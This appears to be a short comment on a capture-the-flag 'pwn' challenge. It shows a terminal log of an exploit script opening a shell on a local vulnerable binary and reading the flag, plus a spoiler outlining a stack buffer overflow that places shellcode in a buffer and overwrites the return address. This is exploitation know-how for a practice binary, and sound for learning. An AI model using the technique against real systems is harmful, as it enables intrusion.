@khaledddd a good pwn challenge，I've pwned your elf file by writing the shellcode and overflowing the buffer
liboxin@ubuntu:~/pwn$ ls
exp.py flag vuln
liboxin@ubuntu:~/pwn$ python3 exp.py
[+] Starting local process './vuln': pid 82795
[+] buf = 0x7ffd6fb42630
[*] Switching to interactive mode
$ ls
exp.py flag vuln
$ cat flag
flag{pwned_by_liboxin}
$

[Click to reveal]Load shellcode into 64-byte buf -> pad remaining buf + 8-byte RBP -> overwrite 8-byte RIP with pointer to shellcode
